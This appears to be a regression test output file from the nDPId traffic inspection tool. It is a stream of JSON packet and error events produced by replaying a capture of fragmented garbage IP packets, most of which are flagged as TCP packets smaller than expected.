-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030473882} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030473892} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030473902} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030473912} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030473923} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030473934} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030473946} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030473956} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030473966} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":6002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030473977} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030473987} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030473997} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474007} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474019} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474030} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474040} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474050} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474061} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474071} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474081} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474092} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474102} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474113} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474123} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474134} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474145} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474155} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474166} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474176} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474222} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474240} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474250} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474261} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474272} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474282} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474292} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474303} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474313} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474323} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474334} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474345} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474355} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474365} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030474376} 